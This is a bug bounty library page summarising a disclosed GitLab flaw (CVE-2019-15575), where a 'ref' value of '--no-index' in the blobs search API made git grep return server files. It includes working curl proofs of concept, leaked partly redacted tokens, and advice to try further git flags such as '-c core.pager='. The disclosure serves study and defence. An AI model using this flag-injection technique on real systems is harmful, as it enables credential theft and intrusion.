# Git flag injection - Search API with scope 'blobs' 

GitLab search API `blobs` scope passed user-controlled `ref` to `git grep`, so `--no-index` made git read arbitrary files in the gitaly working dir, leaking config.toml tokens.

- Payout: $7,000
- Severity: high
- Program: GitLab
- Found by: vakzz
- Disclosed: 2019-12-15
- CVE: CVE-2019-15575
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/682442
- Library page: https://bugbountylibrary.com/r/h1%3A682442
- Tags: area:web domain:api domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:high tech:rest technique:incomplete-fix vuln:command-injection vuln:info-disclosure vuln:secrets-leak

**Target:** GitLab Search API `/api/v4/projects/:id/search` scope=blobs (Gitaly git grep)
**Root cause:** The `ref` parameter was interpolated into the `git grep` command line without `--` separator or validation, so a value starting with `--` was parsed as a git flag rather than a revision.
**Steps:**
1. Authenticate with a PRIVATE-TOKEN that can access a project.
2. Send `GET /api/v4/projects/4/search?scope=blobs&search=.&ref=--no-index`.
3. Observe response containing file contents from the gitaly working directory (VERSION, config.toml) instead of repo blobs.
4. Extract tokens/keys from config.toml in the returned `data` fields.
**How found:** Prior report 658013 fixed the `wiki_blobs` scope; researcher checked whether the sibling `blobs` scope had the same flag-injection flaw and confirmed it by passing `--no-index` as `ref`.
**Exploitation:** Any authenticated user with read access to a project could set `ref=--no-index`, causing `git grep` to search the current working directory (`/var/opt/gitlab/gitaly`) and return contents of files like `config.toml`, exposing sentry DSNs and the gitaly token.
**Escalation:** Same primitive applied to gitlab.com project 2009901 leaked live sentry.io tokens and gitaly token; tokens could enable further access to internal services.
**Insight:** When a fix lands for one code path (wiki_blobs), immediately test sibling scopes/endpoints that share the same underlying command builder; also try git flags like `--no-index`, `--output=`, `-c core.pager=` wherever a user-controlled ref/revision reaches git grep.

## Proof of concept (copied exactly from the original report)

**Search API call with --no-index ref injection**

```
curl --header "PRIVATE-TOKEN: $TOKEN" 'http://gitlab-vm.local/api/v4/projects/4/search?scope=blobs&search=.&ref=--no-index

[{"basename":null,"data":"VERSION\u00001\u0000Gitaly, version 1.53.2\n","filename":null,"id":null,"ref":"--no-index","startline":0,"project_id":4},{"basename":null,"data":"config.toml\u00001\u0000# Gitaly configuration file\nconfig.toml\u00002\u0000# This file is managed by gitlab-ctl. Manual changes will be\nconfig.toml\u00003\u0000# erased! To change the contents below, edit /etc/gitlab/gitlab.rb\nconfig.toml\u00004\u0000# and run:\nconfig.toml\u00005\u0000# sudo gitlab-ctl reconfigure\nconfig.toml\u00006\u0000\nconfig.toml\u00007\u0000socket_path = '/var/opt/gitlab/gitaly/gitaly.socket'\nconfig.toml\u00008\u0000bin_dir = '/opt/gitlab/embedded/bin'\nconfig.toml\u00009\u0000\n","filename":null,"id":null,"ref":"--no-index","startline":0,"project_id":4}]
```

**git grep command with injected --no-index flag**

```
/opt/gitlab/embedded/bin/git --git-dir /var/opt/gitlab/git-data/repositories/@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.git grep --ignore-case -I --line-number --null --before-context 2 --after-context 2 --perl-regexp -e a --no-index
```

**gitlab.com request leaking sentry and gitaly tokens**

```
https://gitlab.com/api/v4/projects/2009901/search?scope=blobs&search=a&ref=--no-index

sentry_dsn = 'https://927bee37df654608xxxxxxxxxxxxxxxx:0324504ee7844264xxxxxxxxxxxxxxxx@sentry.gitlab.net/16
ruby_sentry_dsn = 'https://8ff7dd344e1d4976xxxxxxxxxxxxxxxx:bb9d785b3fe7447bxxxxxxxxxxxxxxxx@sentry.gitlab.net/29

token = 'yfZTE0Oxxxxxxx'
```

